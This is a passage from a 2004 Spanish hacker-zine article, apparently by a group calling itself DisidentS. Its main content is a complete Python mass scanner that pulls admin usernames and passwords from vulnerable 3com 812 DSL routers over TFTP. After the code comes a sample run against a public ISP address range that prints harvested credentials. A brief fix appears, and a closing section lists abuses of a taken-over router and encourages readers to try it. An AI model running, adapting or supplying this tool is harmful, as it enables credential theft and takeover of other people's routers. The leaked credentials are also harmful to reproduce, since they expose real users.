        # almacenamos inicio, fin, ip actual
        self.ip=None
        self.start=start
        self.end=end
        self.done=0

    # siguiente ip
    def getnext(self):
        # si no quedan ips, para acortar, devolvemos None directamente.
        if self.done==1:
            return None

        # Cuidado con los threads
        iplock.acquire()

        # Si no hemos pedido ninguna ip
        if self.ip == None:
            # devuelve la primera
            self.ip=self.start
            iplock.release()
            return self.ip

        # incrementa la ip actual
        self.ip=incip(self.ip)

        # si el resultado no es valido (255.255.255.255 no se puede
        # incrementar)
        if self.ip == None:
            # se nos han acabado
            self.done=1
            iplock.release()
            return None

        # si llegamos al final
        if self.ip == self.end:
            # pues eso, se nos han acabado
            self.done=1
            iplock.release()
            return None

        # devolvemos la ip actual
        iplock.release()
        return self.ip

##### END IPrange

##### CLASE IPranges: maneja varios rangos de IPs.
# Esta maneja varios IPrange y cuando se acaba uno pasa al siguiente
class IPranges:
    def __init__(self):
        # Lista vacia al comienzo
        self.ranges=[]

    # Agregar un rango mas
    def add(self,start,end):
        self.ranges.append(IPrange(start,end))

    # Siguiente ip
    def getnext(self):

        # Cuiado con los threads
        iplock.acquire()

        # Si no quedan rangos
        if len(self.ranges)==0:
            # Pues eso
            iplock.release()
            return None

        # Coge la siguiente
        ip=self.ranges[0].getnext()

        # Si se nos acaba ese rango
        if ip==None:

            # Lo borramos
            self.ranges=self.ranges[1:]
            iplock.release()

            # Y repetimos para coger el siguiente
            return self.getnext()

        # Lo tenemos
        iplock.release()
        # Devolver la ip
        return ip

##### END IPranges

# Este objeto guarda todos los rangos del programa
ipranges=IPranges()

##### FUNCION extract
# Funcion para extraer user y pass
def extract(f):

    # 0x300 es lo mínimo para una sección
    if len(f) < 0x300:
        return ("err","tooshort")

    # Si la versión está mal
    if f[0:4] != "00.3":
        return ("err","badmagic")

    # Los primeros 0x200 son basura
    f=f[0x200:]

    # Calcular el número de secciones que caben en este archivo
    s=int(len(f)/0x100)

    # Vamos pasando por todas las secciones
    for i in range(s):

        # Si es una sección user y pass
        if ord(f[0x0d]) == 0x1b:

            # Leer longitud
            ul=ord(f[0x20])

            # Si es más de 20 es sospechosa (Corrupto, he visto muchos mal)
            if ul>20:
                return ("err","usertoolong")

            # Restarle 2
            ul=ul-2

            # Cogemos el username
            username=f[0x21:0x21+ul]

            # Longitud de pass
            pl=ord(f[0x22+ul])

            # > 20 Sospechosa
            if pl>20:
                return ("err","passtoolong")

            # Resto 2
            pl=pl-2

            # Cojo pass
            password=f[0x23+ul:0x23+ul+pl]

            # Devuelvo un tuple ("tupla") con user y pass
            return (username,password)

        # Si no, borramos a esta sección y pasamos a la siguiente
        f=f[0x100:]

    # Si no hay mas secciones, aquí pasa algo raro
    return ("err","nosection")

##### END extract

# Este evento controla el cierre de los threads por SIGINT (control+C)
# Si se pone a ON los threads se cierran
finishup=threading.Event()

##### CLASE Scanner: Thread de escaneo, va pidiendo IPs a una clase IPranges
class Scanner(threading.Thread): # Deriva de Thread siempre

    # Especificamos ID (para el thread) y timeout de las transferencias
    def __init__(self,id,timeout):
        threading.Thread.__init__(self) # Obligatorio hacer esto
        self.t=tftplib.TFTP(); # Nuestro objeto TFTP para este thread
        self.t.timeout=timeout
        self.id=id
        self.ip=None

    def run(self):
        while 1: # Para siempre... o no?
                 # (luego hay un return, no os asustéis xD)

            self.ip=ipranges.getnext() # Coge siguiente ip de los rangos

            if self.ip==None: # Si no quedan IPs
                plock.acquire() # Esto es para que no se mezclen los
                                # mensajes
                print "ID: "+str(self.id)+" exiting..."
                plock.release()
                return # Salir

            if finishup.isSet(): # Si han pulsado Control+C
                plock.acquire()
                print "ID: "+str(self.id)+" exiting..."
                plock.release()
                return # Salir

            self.t.connect((self.ip,69)) # Conectarse a ese host/port
                                         # (en realidad no transfiere
                                         # nada ya que es UDP)
            try:
                f = self.t.retrieve("users") # Intenta leer "users"
                (u,p)=extract(f) # Después saca user y pass
                if finishup.isSet(): # Si se ha pulsado Control+C ahora
                    plock.acquire()
                    print "ID: "+str(self.id)+" exiting..."
                    plock.release()
                    return # Salir

                plock.acquire()
                # Imprimir IP
                print "ID: "+str(self.id)+"  FOUND:"+self.ip+" "+u+"!"+p
                plock.release()

            except tftplib.TFTPError: # Si ha habido un timeout u otro error
                pass # No hacer nada, simplemente pasar a siguiente ip

##### END Scanner

##### USAGE
# Imprime uso
def usage():
   print "Usage: "+sys.argv[0]+" [OPTION]... IP_START[-IP_END]..."
   print "or:    "+sys.argv[0]+" --help"
   print "Scans the specified IP address(es) for vulnerable 3com 812 DSL"
   print "routers and prints the username and password separated by '!'"
   print ""
   print "The possible OPTIONs are:"
   print "  -t, --timeout TIMEOUT     Sets the timeout for requests in seconds."
   print "                            Default is 5 seconds"
   print "  -s, --scanners SCANNERS   Number of threads that should concurrently"
   print "                            scan several addresses. Default is 100"
   print "  -h, --help                Print this message"
   print ""
   print "IP_START and IP_END specify the IP address range that should be"
   print "scanned. If only IP_START is specified only one IP address is "
   print "scanned.\nMultiple ranges or addresses are allowed."
   print "\n"
   print "Note: on machines with newer processors and broadband internet it may"
   print "desireable to increase SCANNERS to something like 200 and reduce "
   print "the timeout to 4. Be careful not to flood yourself with responses!"
   print ""
   print "Report bugs to: <marcansoft@marcansoft.com>"
   print "                <sweet_security@has.no.mail.com>"
##### END USAGE

##### MAIN PROGRAM
# Aqui empieza todo
def main():

   # si esto es consola y te gustan las chorraditas, este código te pone
   # PYTHON en negrita :P
   python="\x1b[1mPYTHON\x1b[m"

   print "+--------------------------------------------------------+";
   print "|   3com 812 DSL router scanner and password extractor   |";
   print "|   "+python+" version      by Sweet_Security & marcansoft   |";
   print "+--------------------------------------------------------+";

   # Defaults
   timeout=5
   scanners=50

   # Extraer argumentos
   try:
      opts, args = getopt.getopt(sys.argv[1:], 'ht:s:',
                              ['help','timeout=', 'scanners='])

   except getopt.GetoptError:
      # Si no es valido
      print "Invalid options"
      usage()
      sys.exit(2)

   # Leer opciones
   for o,a in opts:

      if o in ("-h","--help"):
         usage()
         sys.exit(0)

      if o in ("-t","--timeout"):
         timeout=int(a)

      if o in ("-s","--scanners"):
         scanners=int(a)

   # Si no hay rangos
   if len(args) < 1:
      print "No IP addresses or ranges specified!"
      usage()
      sys.exit(1)

   # Leer rangos
   for a in args:
      # Es valido x.x.x.x-x.x.x.x?
      if re.match(r"^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\-
                     [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$" ,a) != None:
            ips = string.split(a, "-")

            # Chequear ambas IPs
            if checkip(ips[0])==0:
                print "Invalid IP address"
                usage()
                sys.exit(3)

            if checkip(ips[1])==0:
                print "Invalid IP address"
                usage()
                sys.exit(3)

            # Añadir a la clase
            ipranges.add(ips[0],ips[1])

        # Es una sola IP?
        elif re.match(r"^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$",a) != None:

            # Chequear
            if checkip(a)==0:
                print "Invalid IP address"
                usage()
                sys.exit(3)

            # El fin sería la siguiente IP para escanear sólo una
            b=incip(a)

            if b == None:
                print "Invalid IP address"
                usage()
                sys.exit(3)

            # Añadir
            ipranges.add(a,b)
        else:
            print "Invalid argument"
            usage()
            sys.exit(4)

    # Escaneadores
    scans=[]

    # Crear threads
    for i in range(scanners):
        scn=Scanner(i,5)
        scn.start()
        scans.append(scn)

    try:
        # Mientras qeuden threads
        while(threading.activeCount()>1):
            # Esperar un segundo
            time.sleep(1)

    except KeyboardInterrupt:
        # Si se pulsa Control+C (SIGINT)
        print "CAUGHT SIGINT, please wait while closing threads..."

        # Enviar señal de acabado a los threads
        finishup.set()

        # Y esperar a que terminen
        while(threading.activeCount()>1):
            time.sleep(1)

sys.exit(0)
##### END MAIN PROGRAM

if __name__ == "__main__":
    main()
-----------------------------------------------------------------------------

   Aquí tenemos el fin del código. Está lo suficientemente comentado no? :)

   Bueno, ahora llegó el momento de probarlo:

   marcansoft:~$ ./812scanner.py 80.59.0.0-80.59.100.0
   +--------------------------------------------------------+
   |   3com 812 DSL router scanner and password extractor   |
   |   PYTHON version      by Sweet_Security & marcansoft   |
   +--------------------------------------------------------+
   ID: 15  FOUND:80.59.0.xx jele!
   ID: 16  FOUND:80.59.0.xx err!passtoolong
   ID: 36  FOUND:80.59.0.xx err!passtoolong
   ID: 39  FOUND:80.59.0.xx admintde!admintde
   ID: 44  FOUND:80.59.0.xx admintde!admintde
   ID: 40  FOUND:80.59.0.xx piratito!070401
   ID: 12  FOUND:80.59.0.xx maer!maer3
   ID: 18  FOUND:80.59.0.xx admintde!admintde
   ID: 19  FOUND:80.59.0.xx maer!maer3
   ID: 24  FOUND:80.59.0.xx administrador!admroubsaracena
   ID: 48  FOUND:80.59.0.xx adminttd!adminttd
   ID: 21  FOUND:80.59.0.xx tutti!2580
   ID: 24  FOUND:80.59.0.xx adminttd!adminttd
   ID: 33  FOUND:80.59.0.xx adminttd!adminttd
   ID: 21  FOUND:80.59.0.xx maer!maer3
   ID: 4  FOUND:80.59.0.xx maer!maer3
   ID: 28  FOUND:80.59.0.xx administrador!belit26
   ID: 28  FOUND:80.59.0.xx adminttd!adminttd
   ID: 16  FOUND:80.59.0.xx err!passtoolong
   ID: 9  FOUND:80.59.0.xx err!passtoolong
   ID: 10  FOUND:80.59.0.xx admintde!admintde
   ID: 22  FOUND:80.59.0.xx 5050!
   ID: 43  FOUND:80.59.0.xx admintde!admintde
   ID: 45  FOUND:80.59.0.xx 00000000!00000000
   ID: 25  FOUND:80.59.0.xx maer!maer3
   ID: 4  FOUND:80.59.0.xx maer!maer3
   ^C
   CAUGHT SIGINT, please wait while closing threads...
   ID: 28 exiting...
   ID: 24 exiting...
   ID: 33 exiting...
   ID: 21 exiting...
   ID: 44 exiting...
   ID: 40 exiting...
   ID: 16 exiting...
   ID: 0 exiting...
   ID: 1 exiting...
   [...]
   ID: 36 exiting...
   ID: 25 exiting...
   ID: 39 exiting...
   ID: 4 exiting...
   marcansoft:~$

También podemos modificar los parámetros por defecto a -s 256 -t 4 por ejemplo, para que vaya más rápido. Pero no os vayáis a floodear a vosotros mismos!


.==========================================================================.
|===========~ 5. Solución ~=================================================
|===========================================================================

Bueno, una manera, bastante sencilla de poder resolver todo este problemilla
del bug, puede ser la siguiente:

      1- Telnet IP_del_router
      2- Luego poner el User y el Pass
      3- y por último el comando: Clear Tftp client

Como podemos ver, esto podría sacarnos de un apuro en más de una oportunidad jeje..


.==========================================================================.
|===========~ 6. Conclusiones ~=============================================
|===========================================================================

Este articulo pretende mostrar a todos los lectores que tener bien configurado cualquier periferico y software que usamos es muy importante. Solo dire que entrando a un simple router puedes hacer estas cosas por lo menos:

   1.- Redirigir puertos del exterior a redes internas
   2.- Petar la conexion
   3.- Flooding
   4.- Chatear
   5.- A lo mejor el pass de los PCs es el mismo que el del router quien sabe
   6.- ....
   ..
   ..

Hay infinidad de posibilidades, dejaremos  a vuestra mente y capacidades el descubrirlas. Hemos hecho varios escanners a distintos rangos, y podemos decir que hay muuuuchoooos 3com vulnerables en españa así que ha disfrutar pero con control. Que os jugáis la cárcel o el reformatorio. Y recordar:

   "Cuando la oscuridad os oculte el camino, que la paranoia sea tu guia"

-----------------------------------------------------------------------------
                   DisidentS Hacker Team 2004 (c).

-----------------------------------------------------------------------------
                 Mail del Team: disidents@yahoo.es
-----------------------------------------------------------------------------

                               0
                             X0 0X
                               S
EOF